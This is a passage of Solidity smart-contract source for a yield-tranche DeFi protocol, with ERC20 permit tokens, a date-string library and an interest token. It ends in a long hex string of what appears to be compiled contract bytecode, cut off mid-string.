shareBalanceBefore = position.balanceOf(address(this)); // Calculate the min output uint256 minOutput = withdrawAmount - (withdrawAmount * _SLIPPAGE_BP) / 1e18; // We make the actual withdraw from the position. (uint256 actualWithdraw, uint256 sharesBurned) = position .withdrawUnderlying(_destination, withdrawAmount, minOutput); // At this point we check that the implied contract holdings before this withdraw occurred // are more than enough to redeem all of the principal tokens for underlying ie that no // loss has happened. uint256 balanceBefore = (shareBalanceBefore * actualWithdraw) / sharesBurned; if (balanceBefore < localSupply) { // Require that that the speedbump has been set. require(localSpeedbump != 0, "E:NEG_INT"); // This assert should be very difficult to hit because it is checked above // but may be possible with complex reentrancy. assert(localSpeedbump + _FORTY_EIGHT_HOURS < block.timestamp); } return (actualWithdraw); } /// @notice This function allows someone to trigger the speedbump and eventually allow /// pro rata withdraws function hitSpeedbump() external { // We only allow setting the speedbump once require(speedbump == 0, "E:AlreadySet"); // We only allow setting it when withdraws can happen require(block.timestamp >= unlockTimestamp, "E:Not Expired"); // We require that the total holds are less than the supply of // principal token we need to redeem uint256 totalHoldings = position.balanceOfUnderlying(address(this)); if (totalHoldings < valueSupplied) { // We emit a notification so that if a speedbump is hit the community // can investigate. // Note - this is a form of defense mechanism because any flash loan // attack must be public for at least 48 hours before it has // affects. emit SpeedBumpHit(block.timestamp); // Set the speedbump speedbump = block.timestamp; } else { revert("E:NoLoss"); } } /** @notice Burn interest tokens to withdraw underlying tokens. @param _amount The number of interest tokens to burn. @param _destination The address to send the result to @return The number of underlying token released @dev Due to slippage the redemption may receive up to _SLIPPAGE_BP less in output compared to the floating rate. */ function withdrawInterest(uint256 _amount, address _destination) external override returns (uint256) { require(block.timestamp >= unlockTimestamp, "E:Not Expired"); // Burn tokens from the sender interestToken.burn(msg.sender, _amount); // Load the underlying value of this contract uint256 underlyingValueLocked = position.balanceOfUnderlying( address(this) ); // Load a stack variable to avoid future sloads (uint256 _valueSupplied, uint256 _interestSupply) = ( uint256(valueSupplied), uint256(interestSupply) ); // Interest is value locked minus current value uint256 interest = underlyingValueLocked > _valueSupplied ? underlyingValueLocked - _valueSupplied : 0; // The redemption amount is the interest per token times the amount uint256 redemptionAmount = (interest * _amount) / _interestSupply; uint256 minRedemption = redemptionAmount - (redemptionAmount * _SLIPPAGE_BP) / 1e18; // Store that we reduced the supply interestSupply = uint128(_interestSupply - _amount); // Redeem position tokens for underlying (uint256 redemption, ) = position.withdrawUnderlying( _destination, redemptionAmount, minRedemption ); return (redemption); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; interface IERC20 { function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); // Note this is non standard but nearly all ERC20 have exposed decimal functions function decimals() external view returns (uint8); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./IERC20Permit.sol"; import "./IERC20.sol"; interface IWrappedPosition is IERC20Permit { function token() external view returns (IERC20); function balanceOfUnderlying(address who) external view returns (uint256); function getSharesToUnderlying(uint256 shares) external view returns (uint256); function deposit(address sender, uint256 amount) external returns (uint256); function withdraw( address sender, uint256 _shares, uint256 _minUnderlying ) external returns (uint256); function withdrawUnderlying( address _destination, uint256 _amount, uint256 _minUnderlying ) external returns (uint256, uint256); function prefundedDeposit(address _destination) external returns ( uint256, uint256, uint256 ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./IERC20Permit.sol"; import "./IInterestToken.sol"; interface ITranche is IERC20Permit { function deposit(uint256 _shares, address destination) external returns (uint256, uint256); function prefundedDeposit(address _destination) external returns (uint256, uint256); function withdrawPrincipal(uint256 _amount, address _destination) external returns (uint256); function withdrawInterest(uint256 _amount, address _destination) external returns (uint256); function interestToken() external view returns (IInterestToken); function interestSupply() external view returns (uint128); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "../InterestToken.sol"; import "../libraries/DateString.sol"; interface ITrancheFactory { function getData() external returns ( address, uint256, InterestToken, address ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./IERC20Permit.sol"; interface IInterestToken is IERC20Permit { function mint(address _account, uint256 _amount) external; function burn(address _account, uint256 _amount) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "../interfaces/IERC20Permit.sol"; // This default erc20 library is designed for max efficiency and security. // WARNING: By default it does not include totalSupply which breaks the ERC20 standard // to use a fully standard compliant ERC20 use 'ERC20PermitWithSupply" abstract contract ERC20Permit is IERC20Permit { // --- ERC20 Data --- // The name of the erc20 token string public name; // The symbol of the erc20 token string public override symbol; // The decimals of the erc20 token, should default to 18 for new tokens uint8 public override decimals; // A mapping which tracks user token balances mapping(address => uint256) public override balanceOf; // A mapping which tracks which addresses a user allows to move their tokens mapping(address => mapping(address => uint256)) public override allowance; // A mapping which tracks the permit signature nonces for users mapping(address => uint256) public override nonces; // --- EIP712 niceties --- // solhint-disable-next-line var-name-mixedcase bytes32 public override DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice Initializes the erc20 contract /// @param name_ the value 'name' will be set to /// @param symbol_ the value 'symbol' will be set to /// @dev decimals default to 18 and must be reset by an inheriting contract for /// non standard decimal values constructor(string memory name_, string memory symbol_) { // Set the state variables name = name_; symbol = symbol_; decimals = 18; // By setting these addresses to 0 attempting to execute a transfer to // either of them will revert. This is a gas efficient way to prevent // a common user mistake where they transfer to the token address. // These values are not considered 'real' tokens and so are not included // in 'total supply' which only contains minted tokens. balanceOf[address(0)] = type(uint256).max; balanceOf[address(this)] = type(uint256).max; // Optional extra state manipulation _extraConstruction(); // Computes the EIP 712 domain separator which prevents user signed messages for // this contract to be replayed in other contracts. // https://eips.ethereum.org/EIPS/eip-712 DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256(bytes("1")), block.chainid, address(this) ) ); } /// @notice An optional override function to execute and change state before immutable assignment function _extraConstruction() internal virtual {} // --- Token --- /// @notice Allows a token owner to send tokens to another address /// @param recipient The address which will be credited with the tokens /// @param amount The amount user token to send /// @return returns true on success, reverts on failure so cannot return false. /// @dev transfers to this contract address or 0 will fail function transfer(address recipient, uint256 amount) public virtual override returns (bool) { // We forward this call to 'transferFrom' return transferFrom(msg.sender, recipient, amount); } /// @notice Transfers an amount of erc20 from a spender to a receipt /// @param spender The source of the ERC20 tokens /// @param recipient The destination of the ERC20 tokens /// @param amount the number of tokens to send /// @return returns true on success and reverts on failure /// @dev will fail transfers which send funds to this contract or 0 function transferFrom( address spender, address recipient, uint256 amount ) public virtual override returns (bool) { // Load balance and allowance uint256 balance = balanceOf[spender]; require(balance >= amount, "ERC20: insufficient-balance"); // We potentially have to change allowances if (spender != msg.sender) { // Loading the allowance in the if block prevents vanilla transfers // from paying for the sload. uint256 allowed = allowance[spender][msg.sender]; // If the allowance is max we do not reduce it // Note - This means that max allowances will be more gas efficient // by not requiring a sstore on 'transferFrom' if (allowed != type(uint256).max) { require(allowed >= amount, "ERC20: insufficient-allowance"); allowance[spender][msg.sender] = allowed - amount; } } // Update the balances balanceOf[spender] = balance - amount; // Note - In the constructor we initialize the 'balanceOf' of address 0 and // the token address to uint256.max and so in 8.0 transfers to those // addresses revert on this step. balanceOf[recipient] = balanceOf[recipient] + amount; // Emit the needed event emit Transfer(spender, recipient, amount); // Return that this call succeeded return true; } /// @notice This internal minting function allows inheriting contracts /// to mint tokens in the way they wish. /// @param account the address which will receive the token. /// @param amount the amount of token which they will receive /// @dev This function is virtual so that it can be overridden, if you /// are reviewing this contract for security you should ensure to /// check for overrides function _mint(address account, uint256 amount) internal virtual { // Add tokens to the account balanceOf[account] = balanceOf[account] + amount; // Emit an event to track the minting emit Transfer(address(0), account, amount); } /// @notice This internal burning function allows inheriting contracts to /// burn tokens in the way they see fit. /// @param account the account to remove tokens from /// @param amount the amount of tokens to remove /// @dev This function is virtual so that it can be overridden, if you /// are reviewing this contract for security you should ensure to /// check for overrides function _burn(address account, uint256 amount) internal virtual { // Reduce the balance of the account balanceOf[account] = balanceOf[account] - amount; // Emit an event tracking transfers emit Transfer(account, address(0), amount); } /// @notice This function allows a user to approve an account which can transfer /// tokens on their behalf. /// @param account The account which will be approve to transfer tokens /// @param amount The approval amount, if set to uint256.max the allowance does not go down on transfers. /// @return returns true for compatibility with the ERC20 standard function approve(address account, uint256 amount) public virtual override returns (bool) { // Set the senders allowance for account to amount allowance[msg.sender][account] = amount; // Emit an event to track approvals emit Approval(msg.sender, account, amount); return true; } /// @notice This function allows a caller who is not the owner of an account to execute the functionality of 'approve' with the owners signature. /// @param owner the owner of the account which is having the new approval set /// @param spender the address which will be allowed to spend owner's tokens /// @param value the new allowance value /// @param deadline the timestamp which the signature must be submitted by to be valid /// @param v Extra ECDSA data which allows public key recovery from signature assumed to be 27 or 28 /// @param r The r component of the ECDSA signature /// @param s The s component of the ECDSA signature /// @dev The signature for this function follows EIP 712 standard and should be generated with the /// eth_signTypedData JSON RPC call instead of the eth_sign JSON RPC call. If using out of date /// parity signing libraries the v component may need to be adjusted. Also it is very rare but possible /// for v to be other values, those values are not supported. function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { // The EIP 712 digest for this function bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner], deadline ) ) ) ); // Require that the owner is not zero require(owner != address(0), "ERC20: invalid-address-0"); // Require that we have a valid signature from the owner require(owner == ecrecover(digest, v, r, s), "ERC20: invalid-permit"); // Require that the signature is not expired require( deadline == 0 || block.timestamp <= deadline, "ERC20: permit-expired" ); // Format the signature to the default format require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ERC20: invalid signature 's' value" ); // Increment the signature nonce to prevent replay nonces[owner]++; // Set the allowance to the new value allowance[owner][spender] = value; // Emit an approval event to be able to track this happening emit Approval(owner, spender, value); } /// @notice Internal function which allows inheriting contract to set custom decimals /// @param decimals_ the new decimal value function _setupDecimals(uint8 decimals_) internal { // Set the decimals decimals = decimals_; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; library DateString { uint256 public constant SECONDS_PER_DAY = 24 * 60 * 60; uint256 public constant SECONDS_PER_HOUR = 60 * 60; uint256 public constant SECONDS_PER_MINUTE = 60; int256 public constant OFFSET19700101 = 2440588; // This function was forked from https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ // solhint-disable-next-line private-vars-leading-underscore function _daysToDate(uint256 _days) internal pure returns ( uint256 year, uint256 month, uint256 day ) { int256 __days = int256(_days); // solhint-disable-next-line var-name-mixedcase int256 L = __days + 68569 + OFFSET19700101; // solhint-disable-next-line var-name-mixedcase int256 N = (4 * L) / 146097; L = L - (146097 * N + 3) / 4; int256 _year = (4000 * (L + 1)) / 1461001; L = L - (1461 * _year) / 4 + 31; int256 _month = (80 * L) / 2447; int256 _day = L - (2447 * _month) / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint256(_year); month = uint256(_month); day = uint256(_day); } /// @dev Writes a prefix and an timestamp encoding to an output storage location /// This function is designed to only work with ASCII encoded strings. No emojis please. /// @param _prefix The string to write before the timestamp /// @param _timestamp the timestamp to encode and store /// @param _output the storage location of the output string /// NOTE - Current cost ~90k if gas is problem revisit and use assembly to remove the extra /// sstore s. function encodeAndWriteTimestamp( string memory _prefix, uint256 _timestamp, string storage _output ) external { _encodeAndWriteTimestamp(_prefix, _timestamp, _output); } /// @dev Sn internal version of the above function 'encodeAndWriteTimestamp' // solhint-disable-next-line function _encodeAndWriteTimestamp( string memory _prefix, uint256 _timestamp, string storage _output ) internal { // Cast the prefix string to a byte array bytes memory bytePrefix = bytes(_prefix); // Cast the output string to a byte array bytes storage bytesOutput = bytes(_output); // Copy the bytes from the prefix onto the byte array // NOTE - IF PREFIX CONTAINS NON-ASCII CHARS THIS WILL CAUSE AN INCORRECT STRING LENGTH for (uint256 i = 0; i < bytePrefix.length; i++) { bytesOutput.push(bytePrefix[i]); } // Add a '-' to the string to separate the prefix from the the date bytesOutput.push(bytes1("-")); // Add the date string timestampToDateString(_timestamp, _output); } /// @dev Converts a unix second encoded timestamp to a date format (year, month, day) /// then writes the string encoding of that to the output pointer. /// @param _timestamp the unix seconds timestamp /// @param _outputPointer the storage pointer to change. function timestampToDateString( uint256 _timestamp, string storage _outputPointer ) public { _timestampToDateString(_timestamp, _outputPointer); } /// @dev Sn internal version of the above function 'timestampToDateString' // solhint-disable-next-line function _timestampToDateString( uint256 _timestamp, string storage _outputPointer ) internal { // We pretend the string is a 'bytes' only push UTF8 encodings to it bytes storage output = bytes(_outputPointer); // First we get the day month and year (uint256 year, uint256 month, uint256 day) = _daysToDate( _timestamp / SECONDS_PER_DAY ); // First we add encoded day to the string { // Round out the second digit uint256 firstDigit = day / 10; // add it to the encoded byte for '0' output.push(bytes1(uint8(bytes1("0")) + uint8(firstDigit))); // Extract the second digit uint256 secondDigit = day % 10; // add it to the string output.push(bytes1(uint8(bytes1("0")) + uint8(secondDigit))); } // Next we encode the month string and add it if (month == 1) { stringPush(output, "J", "A", "N"); } else if (month == 2) { stringPush(output, "F", "E", "B"); } else if (month == 3) { stringPush(output, "M", "A", "R"); } else if (month == 4) { stringPush(output, "A", "P", "R"); } else if (month == 5) { stringPush(output, "M", "A", "Y"); } else if (month == 6) { stringPush(output, "J", "U", "N"); } else if (month == 7) { stringPush(output, "J", "U", "L"); } else if (month == 8) { stringPush(output, "A", "U", "G"); } else if (month == 9) { stringPush(output, "S", "E", "P"); } else if (month == 10) { stringPush(output, "O", "C", "T"); } else if (month == 11) { stringPush(output, "N", "O", "V"); } else if (month == 12) { stringPush(output, "D", "E", "C"); } else { revert("date decoding error"); } // We take the last two digits of the year // Hopefully that's enough { uint256 lastDigits = year % 100; // Round out the second digit uint256 firstDigit = lastDigits / 10; // add it to the encoded byte for '0' output.push(bytes1(uint8(bytes1("0")) + uint8(firstDigit))); // Extract the second digit uint256 secondDigit = lastDigits % 10; // add it to the string output.push(bytes1(uint8(bytes1("0")) + uint8(secondDigit))); } } function stringPush( bytes storage output, bytes1 data1, bytes1 data2, bytes1 data3 ) internal { output.push(data1); output.push(data2); output.push(data3); } } // Forked from openzepplin // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit is IERC20 { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./libraries/ERC20Permit.sol"; import "./libraries/DateString.sol"; import "./interfaces/IInterestToken.sol"; import "./interfaces/ITranche.sol"; contract InterestToken is ERC20Permit, IInterestToken { // The tranche address which controls the minting ITranche public immutable tranche; /// @dev Initializes the ERC20 and writes the correct names /// @param _tranche The tranche contract address /// @param _strategySymbol The symbol of the associated WrappedPosition contract /// @param _timestamp The unlock time on the tranche /// @param _decimals The decimal encoding for this token constructor( address _tranche, string memory _strategySymbol, uint256 _timestamp, uint8 _decimals ) ERC20Permit( _processName("Element Yield Token ", _strategySymbol, _timestamp), _processSymbol("eY", _strategySymbol, _timestamp) ) { tranche = ITranche(_tranche); _setupDecimals(_decimals); } /// @notice We use this function to add the date to the name string /// @param _name start of the name /// @param _strategySymbol the strategy symbol /// @param _timestamp the unix second timestamp to be encoded and added to the end of the string function _processName( string memory _name, string memory _strategySymbol, uint256 _timestamp ) internal returns (string memory) { // Set the name in the super name = _name; // Use the library to write the rest DateString._encodeAndWriteTimestamp(_strategySymbol, _timestamp, name); // load and return the name return name; } /// @notice We use this function to add the date to the name string /// @param _symbol start of the symbol /// @param _strategySymbol the strategy symbol /// @param _timestamp the unix second timestamp to be encoded and added to the end of the string function _processSymbol( string memory _symbol, string memory _strategySymbol, uint256 _timestamp ) internal returns (string memory) { // Set the symbol in the super symbol = _symbol; // Use the library to write the rest DateString._encodeAndWriteTimestamp( _strategySymbol, _timestamp, symbol ); // load and return the name return symbol; } /// @dev Aliasing of the lookup method for the supply of yield tokens which /// improves our ERC20 compatibility. /// @return The total supply of yield tokens function totalSupply() external view returns (uint256) { return uint256(tranche.interestSupply()); } /// @dev Prevents execution if the caller isn't the tranche modifier onlyMintAuthority() { require( msg.sender == address(tranche), "caller is not an authorized minter" ); _; } /// @dev Mints tokens to an address /// @param _account The account to mint to /// @param _amount The amount to mint function mint(address _account, uint256 _amount) external override onlyMintAuthority { _mint(_account, _amount); } /// @dev Burns tokens from an address /// @param _account The account to burn from /// @param _amount The amount of token to burn function burn(address _account, uint256 _amount) external override onlyMintAuthority { _burn(_account, _amount); } }
0x608060405234801561001057600080fd5b50600436106101a35760003560e01c80636e553f65116100ee57806385f45c8811610097578063a9059cbb11610071578063a9059cbb1461030f578063aa082a9d14610322578063d505accf1461032a578063dd62ed3e1461033d576101a3565b806385f45c88146102e1578063884e17f3146102f457806395d89b4114610307576101a3565b8063764b666c116100c8578063764b666c146102bc5780637da081a2146102c45780637ecebe00146102ce576101a3565b80636e553f65146102805780636f307dc3146102a157806370a08231146102a9576101a3565b806323b872dd116101505780633644e5151161012a5780633644e51514610268578063421b15c11461027057806363cf7cdd14610278576101a3565b806323b872dd1461023857806330adf81f1461024b578063313ce56714610253576101a3565b8063095ea7b311610181578063095ea7b3146101f05780631210aac21461021057806318160ddd14610230576101a3565b8063041be7c2146101a857806306fdde03146101c657806309218e91146101db575b600080fd5b6101b0610350565b6040516101bd9190611eb7565b60405180910390f35b6101ce61037c565b6040516101bd9190611b8c565b6101e361040a565b6040516101bd9190611a73565b6102036101fe36600461196a565b61042e565b6040516101bd9190611b19565b61022361021e3660046119cb565b6104a5565b6040516101bd9190611b24565b610223610807565b6102036102463660046118be565b61081f565b6102236109f1565b61025b610a15565b6040516101bd9190611ee2565b610223610a1e565b610223610a24565b6101b0610a2a565b61029361028e3660046119cb565b610a42565b6040516101bd929190611ed4565b6101e3610b29565b6102236102b7366004611872565b610b4d565b6101e3610b5f565b6102cc610b83565b005b6102236102dc366004611872565b610d22565b6102936102ef366004611872565b610d34565b6102236103023660046119cb565b611013565b6101ce61141a565b61020361031d36600461196a565b611427565b61022361143b565b6102cc6103383660046118f9565b61145f565b61022361034b36600461188c565b611709565b60075470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1681565b6000805461038990611fc6565b80601f01602080910402602001604051908101604052809291908181526020018280546103b590611fc6565b80156104025780601f106103d757610100808354040283529160200191610402565b820191906000526020600020905b8154815290600101906020018083116103e557829003601f168201915b505050505081565b7f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b081565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610494908690611b24565b60405180910390a350600192915050565b60007f00000000000000000000000000000000000000000000000000000000617c2dae4210156104f05760405162461bcd60e51b81526004016104e790611d36565b60405180910390fd5b6040517f9dc29fac00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000005d67c1c829ab93867d865cf2008deb45df67044f1690639dc29fac906105649033908790600401611ac5565b600060405180830381600087803b15801561057e57600080fd5b505af1158015610592573d6000803e3d6000fd5b50506040517f3af9e6690000000000000000000000000000000000000000000000000000000081526000925073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b0169150633af9e6699061060b903090600401611a73565b60206040518083038186803b15801561062357600080fd5b505afa158015610637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065b91906119b3565b6007549091506fffffffffffffffffffffffffffffffff80821691700100000000000000000000000000000000900416600082841161069b5760006106a5565b6106a58385611faf565b90506000826106b48984611f41565b6106be9190611f08565b90506000670de0b6b3a76400006106db6509184e72a00084611f41565b6106e59190611f08565b6106ef9083611faf565b90506106fb8985611faf565b600780546fffffffffffffffffffffffffffffffff9283167001000000000000000000000000000000000292169190911790556040517f67caf87100000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b016906367caf871906107a7908c9087908790600401611aeb565b6040805180830381600087803b1580156107c057600080fd5b505af11580156107d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f891906119ed565b509a9950505050505050505050565b6007546fffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260036020526040812054828110156108655760405162461bcd60e51b81526004016104e790611e80565b73ffffffffffffffffffffffffffffffffffffffff851633146109385773ffffffffffffffffffffffffffffffffffffffff851660009081526004602090815260408083203384529091529020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461093657838110156108fa5760405162461bcd60e51b81526004016104e790611bfd565b6109048482611faf565b73ffffffffffffffffffffffffffffffffffffffff871660009081526004602090815260408083203384529091529020555b505b6109428382611faf565b73ffffffffffffffffffffffffffffffffffffffff808716600090815260036020526040808220939093559086168152205461097f908490611ef0565b73ffffffffffffffffffffffffffffffffffffffff80861660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109de908790611b24565b60405180910390a3506001949350505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b60025460ff1681565b60065481565b60085481565b6007546fffffffffffffffffffffffffffffffff1681565b6000807f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4873ffffffffffffffffffffffffffffffffffffffff166323b872dd337f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b0876040518463ffffffff1660e01b8152600401610ac293929190611a94565b602060405180830381600087803b158015610adc57600080fd5b505af1158015610af0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b149190611993565b50610b1e83610d34565b915091509250929050565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b60036020526000908152604090205481565b7f0000000000000000000000005d67c1c829ab93867d865cf2008deb45df67044f81565b60085415610ba35760405162461bcd60e51b81526004016104e790611da4565b7f00000000000000000000000000000000000000000000000000000000617c2dae421015610be35760405162461bcd60e51b81526004016104e790611d36565b6040517f3af9e66900000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b01690633af9e66990610c58903090600401611a73565b60206040518083038186803b158015610c7057600080fd5b505afa158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca891906119b3565b6007549091506fffffffffffffffffffffffffffffffff16811015610d07577ff7f87880c827db1e5aaa7a648e710c6e9c3a608de27471889dbd94199232c31f42604051610cf69190611b24565b60405180910390a142600855610d1f565b60405162461bcd60e51b81526004016104e790611e49565b50565b60056020526000908152604090205481565b6000807f00000000000000000000000000000000000000000000000000000000617c2dae4210610d765760405162461bcd60e51b81526004016104e790611cff565b60008060007f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b073ffffffffffffffffffffffffffffffffffffffff166385f45c88306040518263ffffffff1660e01b8152600401610dd49190611a73565b606060405180830381600087803b158015610dee57600080fd5b505af1158015610e02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e269190611a10565b91945092509050600083610e3a8484611f41565b610e449190611f08565b6007549091506fffffffffffffffffffffffffffffffff80821691700100000000000000000000000000000000900416610e7f836002611ef0565b821115610e9e5760405162461bcd60e51b81526004016104e790611e12565b60008083118015610eae57508284115b15610ee4578186610ebf8587611faf565b610ec99190611f41565b610ed39190611f08565b610edd9087611faf565b9050610ee7565b50845b610ef18184611ef0565b610efb8784611ef0565b600780546fffffffffffffffffffffffffffffffff938416928416700100000000000000000000000000000000029316929092177fffffffffffffffffffffffffffffffff00000000000000000000000000000000161790556040517f40c10f1900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000005d67c1c829ab93867d865cf2008deb45df67044f16906340c10f1990610fc8908d908a90600401611ac5565b600060405180830381600087803b158015610fe257600080fd5b505af1158015610ff6573d6000803e3d6000fd5b505050506110048a82611726565b97509395505050505050915091565b60007f00000000000000000000000000000000000000000000000000000000617c2dae4210156110555760405162461bcd60e51b81526004016104e790611d36565b60085460075484906fffffffffffffffffffffffffffffffff168215611188576040517f3af9e66900000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b01690633af9e669906110ea903090600401611a73565b60206040518083038186803b15801561110257600080fd5b505afa158015611116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113a91906119b3565b905081811015611186578161114f8289611f41565b6111599190611f08565b9250426111696202a30086611ef0565b106111865760405162461bcd60e51b81526004016104e790611c34565b505b61119233876117bf565b61119c8682611f7e565b600780547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff929092169190911790556040517f70a082310000000000000000000000000000000000000000000000000000000081526000907f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b073ffffffffffffffffffffffffffffffffffffffff16906370a0823190611252903090600401611a73565b60206040518083038186803b15801561126a57600080fd5b505afa15801561127e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a291906119b3565b90506000670de0b6b3a76400006112bf6509184e72a00086611f41565b6112c99190611f08565b6112d39085611faf565b90506000807f000000000000000000000000dea04ffc66ecd7bf35782c70255852b34102c3b073ffffffffffffffffffffffffffffffffffffffff166367caf8718a88866040518463ffffffff1660e01b815260040161133593929190611aeb565b6040805180830381600087803b15801561134e57600080fd5b505af1158015611362573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138691906119ed565b90925090506000816113988487611f41565b6113a29190611f08565b90508581101561140b57876113c95760405162461bcd60e51b81526004016104e790611e12565b426113d76202a3008a611ef0565b1061140b577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b50909998505050505050505050565b6001805461038990611fc6565b600061143433848461081f565b9392505050565b7f00000000000000000000000000000000000000000000000000000000617c2dae81565b60065473ffffffffffffffffffffffffffffffffffffffff881660009081526005602090815260408083205490519293926114c5927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d92918d9101611b2d565b604051602081830303815290604052805190602001206040516020016114ec929190611a3d565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190528051602090910120905073ffffffffffffffffffffffffffffffffffffffff88166115575760405162461bcd60e51b81526004016104e790611cc8565b6001818585856040516000815260200160405260405161157a9493929190611b6e565b6020604051602081039080840390855afa15801561159c573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146115f05760405162461bcd60e51b81526004016104e790611d6d565b8415806115fd5750844211155b6116195760405162461bcd60e51b81526004016104e790611ddb565b7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156116595760405162461bcd60e51b81526004016104e790611c6b565b73ffffffffffffffffffffffffffffffffffffffff8816600090815260056020526040812080549161168a8361201a565b909155505073ffffffffffffffff